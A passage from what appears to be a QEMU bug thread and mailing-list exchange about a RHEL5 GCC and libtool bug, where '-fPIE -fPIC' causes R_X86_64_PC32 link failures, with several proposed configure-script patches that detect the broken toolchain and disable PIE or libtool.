directory /usr/local/etc +local state directory /usr/local/var +Manual directory /usr/local/share/man +ELF interp prefix /usr/gnemul/qemu-%M +Source path /home/don/qemu +C compiler cc +Host C compiler cc +C++ compiler c++ +Objective-C compiler cc +ARFLAGS rv +CFLAGS -O2 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 -g +QEMU_CFLAGS -m64 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 +-D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef +-Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -Wendif-labels +-Wmissing-include-dirs -Wnested-externs -Wformat-security -Wformat-y2k +-Winit-self -Wold-style-definition -fstack-protector-all +-I/usr/include/libpng12 -I/usr/include/nss3 -I/usr/include/nspr4 +-pthread -I/usr/include/glib-2.0 -I/usr/lib64/glib-2.0/include +-I/usr/include/pixman-1 -I$(SRC_PATH)/dtc/libfdt +LDFLAGS -Wl,--warn-common -m64 -g +make make +install install +python python +smbd /usr/sbin/smbd +host CPU x86_64 +host big endian no +target list alpha-softmmu arm-softmmu cris-softmmu i386-softmmu +lm32-softmmu m68k-softmmu microblaze-softmmu microblazeel-softmmu +mips-softmmu mips64-softmmu mips64el-softmmu mipsel-softmmu +moxie-softmmu or32-softmmu ppc-softmmu ppc64-softmmu ppcemb-softmmu +s390x-softmmu sh4-softmmu sh4eb-softmmu sparc-softmmu sparc64-softmmu +unicore32-softmmu x86_64-softmmu xtensa-softmmu xtensaeb-softmmu +alpha-linux-user arm-linux-user armeb-linux-user cris-linux-user +i386-linux-user m68k-linux-user microblaze-linux-user +microblazeel-linux-user mips-linux-user mips64-linux-user +mips64el-linux-user mipsel-linux-user mipsn32-linux-user +mipsn32el-linux-user or32-linux-user ppc-linux-user ppc64-linux-user +ppc64abi32-linux-user s390x-linux-user sh4-linux-user sh4eb-linux-user +sparc-linux-user sparc32plus-linux-user sparc64-linux-user +unicore32-linux-user x86_64-linux-user +tcg debug enabled no +gprof enabled no +sparse enabled no +strip binaries yes +profiler no +static build no +-Werror enabled no +pixman system +SDL support yes +GTK support no +curses support yes +curl support yes +mingw32 support no +Audio drivers oss +Block whitelist (rw) +Block whitelist (ro) +VirtFS support yes +VNC support yes +VNC TLS support no +VNC SASL support yes +VNC JPEG support yes +VNC PNG support yes +VNC WS support no +xen support yes +brlapi support no +bluez support no +Documentation yes +GUEST_BASE yes +PIE no +vde support no +Linux AIO support no +ATTR/XATTR support yes +Install blobs yes +KVM support yes +RDMA support no +TCG interpreter no +fdt support yes +preadv support no +fdatasync yes +madvise yes +posix_madvise yes +sigev_thread_id yes +uuid support yes +libcap-ng support no +vhost-net support yes +vhost-scsi support yes +Trace backend nop +Trace output file trace-<pid> +spice support no (/) +rbd support no +xfsctl support no +nss used yes +libusb no +usb net redir no +GLX support yes +libiscsi support no +build guest agent yes +QGA VSS support no +seccomp support no +coroutine backend ucontext +coroutine pool yes +GlusterFS support no +virtio-blk-data-plane no +gcov gcov +gcov enabled no +TPM support no +libssh2 support no +TPM passthrough no +QOM debugging yes +vhdx yes + +I bisect'd this to: + +dcs-xen-53:~/qemu>git-bisect good +37746c5eacf309fa019ea0fa45f776c36c561457 is the first bad commit +commit 37746c5eacf309fa019ea0fa45f776c36c561457 +Author: Marc-André Lureau <email address hidden> +Date: Mon Feb 25 23:31:12 2013 +0100 + + build-sys: must link with -fstack-protector + + It is needed to give that flag to the linker as well, but latest + libtool 2.4.2 still swallows that argument, so let's pass it with + libtool -Wc argument. + + qemu-1.4.0/stubs/arch-query-cpu-def.c:6: undefined reference to +`__stack_chk_guard' + + Signed-off-by: Marc-André Lureau <email address hidden> + Reviewed-by: Alon Levy <email address hidden> + +:100755 100755 33d3354ea30838694020660f5822f551293d7e9a +ee2e7e8ad9b8a23af96e4e404e3f7658efcbe74b M configure +:100644 100644 edc2552f0886c99608b97f85bd932460fa50da73 +36aba2de1fa9e0f8acde7640818e94a28dd03c80 M rules.mak + +Do you want a bug opened for this? + + -Don Slutz + +> Paolo + + + +On 12/05/13 10:18, Paolo Bonzini wrote: +> Il 04/12/2013 02:32, Don Slutz ha scritto: +>> Any hints or pointers about the bug in RHEL5 binutils? I can try and +>> make a patch to auto detect this. +> Actually it's RHEL5 GCC: +> +> $ cat f.c +> void * +> f(unsigned char *buf, int len) +> { +> return (void*)0L; +> } +> +> +> void * +> g(unsigned char *buf, int len) +> { +> return f(buf, len); +> } +> $ gcc -shared -o f.so f.c -fPIE -fPIC +> /usr/bin/ld: /tmp/ccQc9els.o: relocation R_X86_64_PC32 against `f' can not be used when making a shared object; recompile with -fPIC +> /usr/bin/ld: final link failed: Bad value +> collect2: ld returned 1 exit status +> +> +> The bug is simply that "-fPIE -fPIC" counts as -fPIE rather than -fPIC: +> +> $ gcc -S -o - f.c -fPIE |grep call +> call f # PC32 relocation +> $ gcc -S -o - f.c -fPIC |grep call +> call f@PLT # PLT32 relocation +> +> On RHEL5: +> $ gcc -S -o - f.c -fPIE -fPIC |grep call +> call f +> +> On RHEL6: +> $ gcc -S -o - f.c -fPIE -fPIC |grep call +> call f@PLT +> +> Paolo +How about this as a patch: + + From 282fba086186ff3b8e2b2b15e647df2b58d082dd Mon Sep 17 00:00:00 2001 +From: Don Slutz <email address hidden> +Date: Thu, 5 Dec 2013 18:50:18 +0000 +Subject: [PATCH] configure: Auto disabling of PIE due to broken toolchain + support (bug #1257099) + +See https://bugs.launchpad.net/bugs/1257099 + +On RHEL5 GCC, you can get 'relocation R_X86_64_PC32' errors from ld. +So disable PIE is this is true. + +Signed-off-by: Don Slutz <email address hidden> +--- + configure | 43 +++++++++++++++++++++++++++++++++++-------- + 1 file changed, 35 insertions(+), 8 deletions(-) + +diff --git a/configure b/configure +index cf8123b..a51a9dd 100755 +--- a/configure ++++ b/configure +@@ -1339,23 +1339,50 @@ if test "$pie" != "no" ; then + # define THREAD + #endif + ++void *f(unsigned char *buf, int len); ++void *g(unsigned char *buf, int len); ++ ++void * ++f(unsigned char *buf, int len) ++{ ++ return (void*)0L; ++} ++ ++ ++void * ++g(unsigned char *buf, int len) ++{ ++ return f(buf, len); ++} ++ ++#ifdef PIE + static THREAD int tls_var; + + int main(void) { return tls_var; } ++#endif + + EOF +- if compile_prog "-fPIE -DPIE" "-pie"; then +- QEMU_CFLAGS="-fPIE -DPIE $QEMU_CFLAGS" +- LDFLAGS="-pie $LDFLAGS" +- pie="yes" +- if compile_prog "" "-Wl,-z,relro -Wl,-z,now" ; then +- LDFLAGS="-Wl,-z,relro -Wl,-z,now $LDFLAGS" ++ if compile_prog "-shared -fPIE -fPIC" ""; then ++ if compile_prog "-fPIE -DPIE" "-pie"; then ++ QEMU_CFLAGS="-fPIE -DPIE $QEMU_CFLAGS" ++ LDFLAGS="-pie $LDFLAGS" ++ pie="yes" ++ if compile_prog "" "-Wl,-z,relro -Wl,-z,now" ; then ++ LDFLAGS="-Wl,-z,relro -Wl,-z,now $LDFLAGS" ++ fi ++ else ++ if test "$pie" = "yes"; then ++ error_exit "PIE not available due to missing toolchain support" ++ else ++ echo "Disabling PIE due to missing toolchain support" ++ pie="no" ++ fi + fi + else + if test "$pie" = "yes"; then +- error_exit "PIE not available due to missing toolchain support" ++ error_exit "PIE not available due to broken toolchain support" + else +- echo "Disabling PIE due to missing toolchain support" ++ echo "Disabling PIE due to broken toolchain support" + pie="no" + fi + fi +-- +1.8.2.1 + + + +On 12/06/2013 04:18 AM, Paolo Bonzini wrote: +> $ gcc -shared -o f.so f.c -fPIE -fPIC +> /usr/bin/ld: /tmp/ccQc9els.o: relocation R_X86_64_PC32 against `f' can not be used when making a shared object; recompile with -fPIC +> /usr/bin/ld: final link failed: Bad value +> collect2: ld returned 1 exit status +> +> +> The bug is simply that "-fPIE -fPIC" counts as -fPIE rather than -fPIC: +> +> $ gcc -S -o - f.c -fPIE |grep call +> call f # PC32 relocation +> $ gcc -S -o - f.c -fPIC |grep call +> call f@PLT # PLT32 relocation + +The easy workaround is to drop -fPIE when we're adding -fPIC. + + +r~ + + +On 12/05/13 16:24, Richard Henderson wrote: +> On 12/06/2013 04:18 AM, Paolo Bonzini wrote: +>> $ gcc -shared -o f.so f.c -fPIE -fPIC +>> /usr/bin/ld: /tmp/ccQc9els.o: relocation R_X86_64_PC32 against `f' can not be used when making a shared object; recompile with -fPIC +>> /usr/bin/ld: final link failed: Bad value +>> collect2: ld returned 1 exit status +>> +>> +>> The bug is simply that "-fPIE -fPIC" counts as -fPIE rather than -fPIC: +>> +>> $ gcc -S -o - f.c -fPIE |grep call +>> call f # PC32 relocation +>> $ gcc -S -o - f.c -fPIC |grep call +>> call f@PLT # PLT32 relocation +> The easy workaround is to drop -fPIE when we're adding -fPIC. +> +> +> r~ +Here is a possible patch based on this statement: + + From 6e57382c58fa1b9be0fe9db8f35f53a7a7858ccd Mon Sep 17 00:00:00 2001 +From: Don Slutz <email address hidden> +Date: Fri, 6 Dec 2013 03:12:12 +0000 +Subject: [PATCH] configure: Auto disabling of libtool due to broken +toolchain + support (bug #1257099) + +See https://bugs.launchpad.net/bugs/1257099 + +On RHEL5 GCC with libtool and PIE, you get 'relocation R_X86_64_PC32' +errors from ld. +So disable libtool which disables smartcard-nss (aka nss) if this is true. + +Signed-off-by: Don Slutz <email address hidden> +--- + configure | 27 +++++++++++++++++++++++++++ + 1 file changed, 27 insertions(+) + +diff --git a/configure b/configure +index 0666228..5e34095 100755 +--- a/configure ++++ b/configure +@@ -1310,6 +1310,33 @@ if compile_prog "-Werror -fno-gcse" "" ; then + TRANSLATE_OPT_CFLAGS=-fno-gcse + fi + ++# check for broken GCC in RHEL5 with PIE ++if test -n "$libtool" -a "$pie" = "" ; then ++ cat > $TMPC << EOF ++ ++void *f(unsigned char *buf, int len); ++void *g(unsigned char *buf, int len); ++ ++void * ++f(unsigned char *buf, int len) ++{ ++ return (void*)0L; ++} ++ ++void * ++g(unsigned char *buf, int len) ++{ ++ return f(buf, len); ++} ++ ++EOF ++ if ! compile_prog "-shared -fPIE -fPIC" ""; then ++ echo "Disabling libtool due to broken toolchain support" ++ echo "Defaulting to --disable-smartcard-nss" ++ libtool= ++ fi ++fi ++ + if test "$static" = "yes" ; then + if test "$pie" = "yes" ; then + error_exit "static and pie are mutually incompatible" +-- +1.8.2.1 + + -Don Slutz + + +On 12/05/13 10:18, Paolo Bonzini wrote: +> Il 04/12/2013 02:32, Don Slutz ha scritto: +>> Any hints or pointers about the bug in RHEL5 binutils? I can try and +>> make a patch to auto detect this. +> Actually it's RHEL5 GCC: +> +> $ cat f.c +> void * +> f(unsigned char *buf, int len) +> { +> return (void*)0L; +> } +> +> +> void * +> g(unsigned char *buf, int len) +> { +> return f(buf, len); +> } +> $ gcc -shared -o f.so f.c -fPIE -fPIC +> /usr/bin/ld: /tmp/ccQc9els.o: relocation R_X86_64_PC32 against `f' can not be used when making a shared object; recompile with -fPIC +> /usr/bin/ld: final link failed: Bad value +> collect2: ld returned 1 exit status +> +> +> The bug is simply that "-fPIE -fPIC" counts as -fPIE rather than -fPIC: +> +> $ gcc -S -o - f.c -fPIE |grep call +> call f # PC32 relocation +> $ gcc -S -o - f.c -fPIC |grep call +> call f@PLT # PLT32 relocation +> +> On RHEL5: +> $ gcc -S -o - f.c -fPIE -fPIC |grep call +> call f +> +> On RHEL6: +> $ gcc -S -o - f.c -fPIE -fPIC |grep call +> call f@PLT +> +> Paolo +RHEL5 also "works" if you add -pie: + +dcs-xen-53:~/tmp>gcc -shared -o f.so f.c -fPIE -fPIC +/usr/bin/ld: /tmp/cc6pp1n2.o: relocation R_X86_64_PC32 against `f' can +not be used when making a shared object; recompile with -fPIC +/usr/bin/ld: final link failed: Bad value +collect2: ld returned 1 exit status +dcs-xen-53:~/tmp>gcc -shared -o f.so f.c -fPIE -fPIC -pie +dcs-xen-53:~/tmp>gcc -S -o - f.c -fPIE -pie|grep call + call f + +I have not figured out a way to take advantage of this. + +I just checked and Fedora 17 has the same issue with gcc: +FC17: +dcs-xen-52:~/tmp>gcc -S -o - f.c -fPIE -fPIC |grep call + call f +dcs-xen-52:~/tmp>gcc -shared -o f.so f.c -fPIE -fPIC +/usr/bin/ld: /tmp/ccUlVgMP.o: relocation R_X86_64_PC32 against symbol +`f' can not be used when making a shared object; recompile with -fPIC +/usr/bin/ld: final link failed: Bad value +collect2: error: ld returned 1 exit status + +However QEMU builds just fine. So it is looking like libtool is also +part of the problem. + + -Don Slutz + + +On 12/05/13 22:20, Don Slutz wrote: +> On 12/05/13 16:24, Richard Henderson wrote: +>> On 12/06/2013 04:18 AM, Paolo Bonzini wrote: +>>> $ gcc -shared -o f.so f.c -fPIE -fPIC +>>> /usr/bin/ld: /tmp/ccQc9els.o: relocation R_X86_64_PC32 against `f' +>>> can not be used when making a shared object; recompile with -fPIC +>>> /usr/bin/ld: final link failed: Bad value +>>> collect2: ld returned 1 exit status +>>> +>>> +>>> The bug is simply that "-fPIE -fPIC" counts as -fPIE rather than -fPIC: +>>> +>>> $ gcc -S -o - f.c -fPIE |grep call +>>> call f # PC32 relocation +>>> $ gcc -S -o - f.c -fPIC |grep call +>>> call f@PLT # PLT32 relocation +>> The easy workaround is to drop -fPIE when we're adding -fPIC. +>> +>> +>> r~ +[snip] + +Attached is a much better version. It drops -fPIE and adds -fPIC for +libtool. + + -Don Slutz + + +On 12/09/13 08:22, Paolo Bonzini wrote: +> Il 09/12/2013 13:47, Don Slutz ha scritto: +>> On 12/05/13 22:20, Don Slutz wrote: +>>> On 12/05/13 16:24, Richard Henderson wrote: +>>>> On 12/06/2013 04:18 AM, Paolo Bonzini wrote: +>>>>> $ gcc -shared -o f.so f.c -fPIE -fPIC +>>>>> /usr/bin/ld: /tmp/ccQc9els.o: relocation R_X86_64_PC32 against `f' +>>>>> can not be used when making a shared object; recompile with -fPIC +>>>>> /usr/bin/ld: final link failed: Bad value +>>>>> collect2: ld returned 1 exit status +>>>>> +>>>>> +>>>>> The bug is simply that "-fPIE -fPIC" counts as -fPIE rather than -fPIC: +>>>>> +>>>>> $ gcc -S -o - f.c -fPIE |grep call +>>>>> call f # PC32 relocation +>>>>> $ gcc -S -o - f.c -fPIC |grep call +>>>>> call f@PLT # PLT32 relocation +>>>> The easy workaround is to drop -fPIE when we're adding -fPIC. +>>>> +>>>> +>>>> r~ +>> [snip] +>> +>> Attached is a much better version. It drops -fPIE and adds -fPIC for +>> libtool. +> It's not much better, because using position-independent code for shared +> libraries is really platform-dependent knowledge of the kind that +> libtool is supposed to hide. +> +> For example, on Mac OS X everything is position-independent by default. +> And on some platforms you have -fpic instead of -fPIC. +> +> So I prefer the patch you had that disabled libtool if the platform is +> buggy. +> +> Paolo +Well, the detection code is too simple: + +FC17 system: + + dcs-xen-52:~/tmp/libtool>uname -a + Linux dcs-xen-52 3.8.11-100.fc17.x86_64 #1 SMP Wed May 1 19:31:26 + UTC 2013 x86_64 x86_64 x86_64 GNU/Linux + dcs-xen-52:~/tmp/libtool>gcc -shared -fPIE -DPIE f.c -fPIC -DPIC -o f.so + /usr/bin/ld: /tmp/ccl4By1r.o: relocation R_X86_64_PC32 against + symbol `f' can not be used when making a shared object; recompile + with -fPIC + /usr/bin/ld: final link failed: Bad value + collect2: error: ld returned 1 exit status + dcs-xen-52:~/tmp/libtool>libtool --mode=compile gcc -g -c -fPIE + -DPIE f.c + libtool: compile: gcc -g -c -DPIE f.c -fPIC -DPIC -o .libs/f.o + libtool: compile: gcc -g -c -DPIE f.c -fPIE -o f.o >/dev/null 2>&1 + dcs-xen-52:~/tmp/libtool>libtool --mode=link gcc -g -o libf.la f.lo + -rpath /usr/local/lib + libtool: link: gcc -shared -fPIC -DPIC .libs/f.o -Wl,-soname + -Wl,libf.so.0 -o .libs/libf.so.0.0.0 + libtool: link: (cd ".libs" && rm -f "libf.so.0" && ln -s + "libf.so.0.0.0" "libf.so.0") + libtool: link: (cd ".libs" && rm -f "libf.so" && ln -s + "libf.so.0.0.0" "libf.so") + libtool: link: ar cru .libs/libf.a f.o + libtool: link: ranlib .libs/libf.a + libtool: link: ( cd ".libs" && rm -f "libf.la" && ln -s "../libf.la" + "libf.la" ) + +CentOS 5.10: + + dcs-xen-53:~/tmp/libtool>uname -a + Linux dcs-xen-53 2.6.18-371.el5xen #1 SMP Tue Oct 1 09:15:30 EDT + 2013 x86_64 x86_64 x86_64 GNU/Linux + dcs-xen-53:~/tmp/libtool>gcc -shared -fPIE -DPIE f.c -fPIC -DPIC -o f.so + /usr/bin/ld: /tmp/ccAy1vZK.o: relocation R_X86_64_PC32 against `f' + can not be used when making a shared object; recompile with -fPIC + /usr/bin/ld: final link failed: Bad value + collect2: ld returned 1 exit status + dcs-xen-53:~/tmp/libtool>libtool --mode=compile gcc -g -c -fPIE + -DPIE f.c + mkdir .libs + gcc -g -c -fPIE -DPIE f.c -fPIC -DPIC -o .libs/f.o + gcc -g -c -fPIE -DPIE f.c -o f.o >/dev/null 2>&1 + dcs-xen-53:~/tmp/libtool>libtool --mode=link gcc -g -o libf.la f.lo + -rpath /usr/local/lib + gcc -shared .libs/f.o -Wl,-soname -Wl,libf.so.0 -o + .libs/libf.so.0.0.0 + /usr/bin/ld: .libs/f.o: relocation R_X86_64_PC32 against `f' can not + be used when making a shared object; recompile with -fPIC + /usr/bin/ld: final link failed: Bad value + collect2: ld returned 1 exit status + +I have attached a patch that uses libtool to determine if gcc & libtool +is broken. + -Don + + + +On 12/14/13 15:21, Don Slutz wrote: +> On 12/09/13 08:22, Paolo Bonzini wrote: +>> Il 09/12/2013 13:47, Don Slutz ha scritto: +>>> On 12/05/13 22:20, Don Slutz wrote: +>>>> On 12/05/13 16:24, Richard Henderson wrote: +>>>>> On 12/06/2013 04:18 AM, Paolo Bonzini wrote: +>>>>>> $ gcc -shared -o f.so f.c -fPIE -fPIC +>>>>>> /usr/bin/ld: /tmp/ccQc9els.o: relocation R_X86_64_PC32 against `f' +>>>>>> can not be used when making a shared object; recompile with -fPIC +>>>>>> /usr/bin/ld: final link failed: Bad value +>>>>>> collect2: ld returned 1 exit status +>>>>>> +>>>>>> +>>>>>> The bug is simply that "-fPIE -fPIC" counts as -fPIE rather than -fPIC: +>>>>>> +>>>>>> $ gcc -S -o - f.c -fPIE |grep call +>>>>>> call f # PC32 relocation +>>>>>> $ gcc -S -o - f.c -fPIC |grep call +>>>>>> call f@PLT # PLT32 relocation +>>>>> The easy workaround is to drop -fPIE when we're adding -fPIC. +>>>>> +>>>>> +>>>>> r~ +>>> [snip] +>>> +>>> Attached is a much better version. It drops -fPIE and adds -fPIC for +>>> libtool. +>> It's not much better, because using position-independent code for shared +>> libraries is really platform-dependent knowledge of the kind that +>> libtool is supposed to hide. +>> +>> For example, on Mac OS X everything is position-independent by default. +>> And on some platforms you have -fpic instead of -fPIC. +>> +>> So I prefer the patch you had that disabled libtool if the platform is +>> buggy. +>> +>> Paolo +> Well, the detection code is too simple: +> +> FC17 system: +> +> dcs-xen-52:~/tmp/libtool>uname -a +> Linux dcs-xen-52 3.8.11-100.fc17.x86_64 #1 SMP Wed May 1 19:31:26 +> UTC 2013 x86_64 x86_64 x86_64 GNU/Linux +> dcs-xen-52:~/tmp/libtool>gcc -shared -fPIE -DPIE f.c -fPIC -DPIC +> -o f.so +> /usr/bin/ld: /tmp/ccl4By1r.o: relocation R_X86_64_PC32 against +> symbol `f' can not be used when making a shared object; recompile +> with -fPIC +> /usr/bin/ld: final link failed: Bad value +> collect2: error: ld returned 1 exit status +> dcs-xen-52:~/tmp/libtool>libtool --mode=compile gcc -g -c -fPIE +> -DPIE f.c +> libtool: compile: gcc -g -c -DPIE f.c -fPIC -DPIC -o .libs/f.o +> libtool: compile: gcc -g -c -DPIE f.c -fPIE -o f.o >/dev/null 2>&1 +> dcs-xen-52:~/tmp/libtool>libtool --mode=link gcc -g -o libf.la +> f.lo -rpath /usr/local/lib +> libtool: link: gcc -shared -fPIC -DPIC .libs/f.o -Wl,-soname +> -Wl,libf.so.0 -o .libs/libf.so.0.0.0 +> libtool: link: (cd ".libs" && rm -f "libf.so.0" && ln -s +> "libf.so.0.0.0" "libf.so.0") +> libtool: link: (cd ".libs" && rm -f "libf.so" && ln -s +> "libf.so.0.0.0" "libf.so") +> libtool: link: ar cru .libs/libf.a f.o +> libtool: link: ranlib .libs/libf.a +> libtool: link: ( cd ".libs" && rm -f "libf.la" && ln -s +> "../libf.la" "libf.la" ) +> +> CentOS 5.10: +> +> dcs-xen-53:~/tmp/libtool>uname -a +> Linux dcs-xen-53 2.6.18-371.el5xen #1 SMP Tue Oct 1 09:15:30 EDT +> 2013 x86_64 x86_64 x86_64 GNU/Linux +> dcs-xen-53:~/tmp/libtool>gcc -shared -fPIE -DPIE f.c -fPIC -DPIC +> -o f.so +> /usr/bin/ld: /tmp/ccAy1vZK.o: relocation R_X86_64_PC32 against `f' +> can not be used when making a shared object; recompile with -fPIC +> /usr/bin/ld: final link failed: Bad value +> collect2: ld returned 1 exit status +> dcs-xen-53:~/tmp/libtool>libtool --mode=compile gcc -g -c -fPIE +> -DPIE f.c +> mkdir .libs +> gcc -g -c -fPIE -DPIE f.c -fPIC -DPIC -o .libs/f.o +> gcc -g -c -fPIE -DPIE f.c -o f.o >/dev/null 2>&1 +> dcs-xen-53:~/tmp/libtool>libtool --mode=link gcc -g -o libf.la +> f.lo -rpath /usr/local/lib +> gcc -shared .libs/f.o -Wl,-soname -Wl,libf.so.0 -o +> .libs/libf.so.0.0.0 +> /usr/bin/ld: .libs/f.o: relocation R_X86_64_PC32 against `f' can +> not be used when making a shared object; recompile with -fPIC +> /usr/bin/ld: final link failed: Bad value +> collect2: ld returned 1 exit status +> +> I have attached a patch that uses libtool to determine if gcc & +> libtool is broken. +> -Don +> +Early today it hit me that the new check was a little to early in +configure. Needs to be after PIE check. +Attached is a v2 of the patch. + + -Don Slutz + + From bb68898eb787cbb1748d4aeb31a4184339d38300 Mon Sep 17 00:00:00 2001 +From: Don Slutz <email address hidden> +Date: Sat, 14 Dec 2013 19:43:56 +0000 +Subject: [PATCH] configure: Disable libtool if -fPIE does not work with it + (bug #1257099) + +Adjust TMPO and added TMPB, TMPL, and TMPA. libtool needs the names +to be fixed (TMPB). + +Add new functions do_libtool and libtool_prog. + +Add check for broken gcc and libtool. + +Signed-off-by: Don Slutz <email address hidden> +--- + configure | 63 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++- + 1 file changed, 62 insertions(+), 1 deletion(-) + +diff --git a/configure b/configure +index edfea95..852d021 100755 +--- a/configure ++++ b/configure +@@ -12,7 +12,10 @@ else + fi + + TMPC="${TMPDIR1}/qemu-conf-${RANDOM}-$$-${RANDOM}.c" +-TMPO="${TMPDIR1}/qemu-conf-${RANDOM}-$$-${RANDOM}.o" ++TMPB="qemu-conf-${RANDOM}-$$-${RANDOM}" ++TMPO="${TMPDIR1}/${TMPB}.o" ++TMPL="${TMPDIR1}/${TMPB}.lo" ++TMPA="${TMPDIR1}/lib${TMPB}.la" + TMPE="${TMPDIR1}/qemu-conf-${RANDOM}-$$-${RANDOM}.exe" + + # NB: do not call "exit" in the trap handler; this is buggy with some +shells; +@@ -86,6 +89,38 @@ compile_prog() { + do_cc $QEMU_CFLAGS $local_cflags -o $TMPE $TMPC $LDFLAGS $local_ldflags + } + ++do_libtool() { ++ local mode=$1 ++ shift ++ # Run the compiler, capturing its output to the log. ++ echo $libtool $mode --tag=CC $cc "$@" >> config.log ++ $libtool $mode --tag=CC $cc "$@" >> config.log 2>&1 || return $? ++ # Test passed. If this is an --enable-werror build, rerun ++ # the test with -Werror and bail out if it fails. This ++ # makes warning-generating-errors in configure test code ++ # obvious to developers. ++ if test "$werror" != "yes"; then ++ return 0 ++ fi ++ # Don't bother rerunning the compile if we were already using -Werror ++ case "$*" in ++ *-Werror*) ++ return 0 ++ ;; ++ esac ++ echo $libtool $mode --tag=CC $cc -Werror "$@" >> config.log ++ $libtool $mode --tag=CC $cc -Werror "$@" >> config.log 2>&1 && +return $? ++ error_exit "configure test passed without -Werror but failed with +-Werror." \ ++ "This is probably a bug in the configure script. The failing +command" \ ++ "will be at the bottom of config.log." \ ++ "You can run configure with --disable-werror to bypass this check." ++} ++ ++libtool_prog() { ++ do_libtool --mode=compile $QEMU_CFLAGS -c -fPIE -DPIE -o $TMPO +$TMPC || return $? ++ do_libtool --mode=link $LDFLAGS -o $TMPA $TMPL -rpath /usr/local/lib ++} ++ + # symbolically link $1 to $2. Portable version of "ln -sf". + symlink() { + rm -rf "$2" +@@ -1367,6 +1402,32 @@ EOF + fi + fi + ++# check for broken gcc and libtool in RHEL5 ++if test -n "$libtool" -a "$pie" != "no" ; then ++ cat > $TMPC <<EOF ++ ++void *f(unsigned char *buf, int len); ++void *g(unsigned char *buf, int len); ++ ++void * ++f(unsigned char *buf, int len) ++{ ++ return (void*)0L; ++} ++ ++void * ++g(unsigned char *buf, int len) ++{ ++ return f(buf, len); ++} ++ ++EOF ++ if ! libtool_prog; then ++ echo "Disabling libtool due to broken toolchain support" ++ libtool= ++ fi ++fi ++ + ########################################## + # __sync_fetch_and_and requires at least -march=i486. Many toolchains + # use i686 as default anyway, but for those that don't, an explicit +-- +1.8.2.1 + + + + +Adjust TMPO and added TMPB, TMPL, and TMPA. libtool needs the names +to be fixed (TMPB). + +Add new functions do_libtool and libtool_prog. + +Add check for broken gcc and libtool. + +Signed-off-by: Don Slutz <email address hidden> +--- +Was posted as an attachment. + +https://lists.gnu.org/archive/html/qemu-devel/2013-12/msg02678.html + + configure | 63 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++- + 1 file changed, 62 insertions(+), 1 deletion(-) + +diff --git a/configure b/configure +index edfea95..852d021 100755 +--- a/configure ++++ b/configure +@@ -12,7 +12,10 @@ else + fi + + TMPC="${TMPDIR1}/qemu-conf-${RANDOM}-$$-${RANDOM}.c" +-TMPO="${TMPDIR1}/qemu-conf-${RANDOM}-$$-${RANDOM}.o" ++TMPB="qemu-conf-${RANDOM}-$$-${RANDOM}" ++TMPO="${TMPDIR1}/${TMPB}.o" ++TMPL="${TMPDIR1}/${TMPB}.lo" ++TMPA="${TMPDIR1}/lib${TMPB}.la" + TMPE="${TMPDIR1}/qemu-conf-${RANDOM}-$$-${RANDOM}.exe" + + # NB: do not call "exit" in the trap handler; this is buggy with some shells; +@@ -86,6 +89,38 @@ compile_prog() { + do_cc $QEMU_CFLAGS $local_cflags -o $TMPE $TMPC $LDFLAGS $local_ldflags + } + ++do_libtool() { ++ local mode=$1 ++ shift ++ # Run the compiler, capturing its output to the log. ++ echo $libtool $mode --tag=CC $cc "$@" >> config.log ++ $libtool $mode --tag=CC $cc "$@" >> config.log 2>&1 || return $? ++ # Test passed. If this is an --enable-werror build, rerun ++ # the test with -Werror and bail out if it fails. This ++ # makes warning-generating-errors in configure test code ++ # obvious to developers. ++ if test "$werror" != "yes"; then ++ return 0 ++ fi ++ # Don't bother rerunning the compile if we were already using -Werror ++ case "$*" in ++ *-Werror*) ++ return 0 ++ ;; ++ esac ++ echo $libtool $mode --tag=CC $cc -Werror "$@" >> config.log ++ $libtool $mode --tag=CC $cc -Werror "$@" >> config.log 2>&1 && return $? ++ error_exit "configure test passed without -Werror but failed with -Werror." \ ++ "This is probably a bug in the configure script. The failing command" \ ++ "will be at the bottom of config.log." \ ++ "You can run configure with --disable-werror to bypass this check." ++} ++ ++libtool_prog() { ++ do_libtool --mode=compile $QEMU_CFLAGS -c -fPIE -DPIE -o $TMPO $TMPC || return $? ++ do_libtool --mode=link $LDFLAGS -o $TMPA $TMPL -rpath /usr/local/lib ++} ++ + # symbolically link $1 to $2. Portable version of "ln -sf". + symlink() { + rm -rf "$2" +@@ -1367,6 +1402,32 @@ EOF + fi + fi + ++# check for broken gcc and libtool in RHEL5 ++if test -n "$libtool" -a "$pie" != "no" ; then ++ cat > $TMPC <<EOF ++ ++void *f(unsigned char *buf, int len); ++void *g(unsigned char *buf, int len); ++ ++void * ++f(unsigned char *buf, int len) ++{ ++ return (void*)0L; ++} ++ ++void * ++g(unsigned char *buf, int len) ++{ ++ return f(buf, len); ++} ++ ++EOF ++ if ! libtool_prog; then ++ echo "Disabling libtool due to broken toolchain support" ++ libtool= ++ fi ++fi ++ + ########################################## + # __sync_fetch_and_and requires at least -march=i486. Many toolchains + # use i686 as default anyway, but for those that don't, an explicit +-- +1.8.2.1 + + + +On 01/02/14 21:12, Don Slutz wrote: + +Ping. + +> Adjust TMPO and added TMPB, TMPL, and TMPA. libtool needs the names +> to be fixed (TMPB). +> +> Add new functions do_libtool and libtool_prog. +> +> Add check for broken gcc and libtool. +> +> Signed-off-by: Don Slutz <email address hidden> +> --- +> Was posted as an attachment. +> +> https://lists.gnu.org/archive/html/qemu-devel/2013-12/msg02678.html +> +> configure | 63 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++- +> 1 file changed, 62 insertions(+), 1 deletion(-) +> +> diff --git a/configure b/configure +> index edfea95..852d021 100755 +> --- a/configure +> +++ b/configure +> @@ -12,7 +12,10 @@ else +> fi +> +> TMPC="${TMPDIR1}/qemu-conf-${RANDOM}-$$-${RANDOM}.c" +> -TMPO="${TMPDIR1}/qemu-conf-${RANDOM}-$$-${RANDOM}.o" +> +TMPB="qemu-conf-${RANDOM}-$$-${RANDOM}" +> +TMPO="${TMPDIR1}/${TMPB}.o" +> +TMPL="${TMPDIR1}/${TMPB}.lo" +> +TMPA="${TMPDIR1}/lib${TMPB}.la" +> TMPE="${TMPDIR1}/qemu-conf-${RANDOM}-$$-${RANDOM}.exe" +> +> # NB: do not call "exit" in the trap handler; this is buggy with some shells; +> @@ -86,6 +89,38 @@ compile_prog() { +> do_cc 